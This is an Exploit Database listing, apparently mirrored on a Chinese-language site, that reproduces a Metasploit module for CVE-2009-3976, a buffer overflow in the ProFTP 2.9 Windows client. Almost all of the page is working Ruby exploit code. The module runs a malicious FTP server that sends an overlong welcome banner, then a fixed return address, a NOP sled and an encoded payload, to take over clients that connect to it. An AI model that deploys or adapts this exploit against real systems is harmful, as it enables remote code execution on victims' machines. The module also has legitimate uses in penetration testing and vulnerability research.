ProFTP 2.9 – Banner Remote Buffer Overflow (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2010-07-03
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16709/

• ##
  # $Id: proftp_banner.rb 9669 2010-07-03 03:13:45Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::TcpServer
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'ProFTP 2.9 Banner Remote Buffer Overflow Exploit',
  			'Description'=> %q{
  					This module exploits a buffer overflow in the ProFTP 2.9
  				client that is triggered through an excessively long welcome message.
  			},
  			'Author' 	 => [ 'His0k4 <his0k4.hlm[at]gmail.com>' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9669 $',
  			'References' =>
  				[
  					[ 'CVE', '2009-3976' ],
  					[ 'OSVDB', '57394' ],
  					[ 'URL', 'http://www.labtam-inc.com/index.php?act=products&pid=1' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'seh',
  				},
  			'Payload'=>
  				{
  					'Space'=> 1000,
  					'BadChars' => "\x00\x0a\x0d\x20",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					# Tested against - XP SP3 English OK.
  					[ 'Universal', 	{ 'Ret' => 0x6809d408 } ], # WCMDPA10 (part of ProFTP)
  				],
  			'Privileged' => false,
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Aug 25 2009'))
  
  		register_options(
  			[
  				OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
  			], self.class)
  	end
  
  	def on_client_connect(client)
  		return if ((p = regenerate_payload(client)) == nil)
  
  		buffer ="220 "
  		buffer << rand_text_numeric(2064)
  		buffer << [target.ret].pack('V')
  		buffer << make_nops(20)
  		buffer << payload.encoded
  		buffer << "\r\n"
  		client.put(buffer)
  	end
  
  end